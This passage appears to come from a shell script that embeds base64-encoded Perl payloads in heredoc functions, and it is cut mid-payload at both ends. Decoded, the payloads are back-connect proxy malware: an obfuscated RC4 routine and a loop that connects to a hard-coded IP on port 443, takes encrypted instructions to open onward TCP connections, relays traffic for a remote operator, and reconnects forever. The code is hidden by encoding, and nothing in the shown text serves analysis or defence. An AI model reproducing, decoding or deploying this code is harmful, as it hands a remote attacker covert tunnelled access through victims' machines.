cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_35() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODQnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
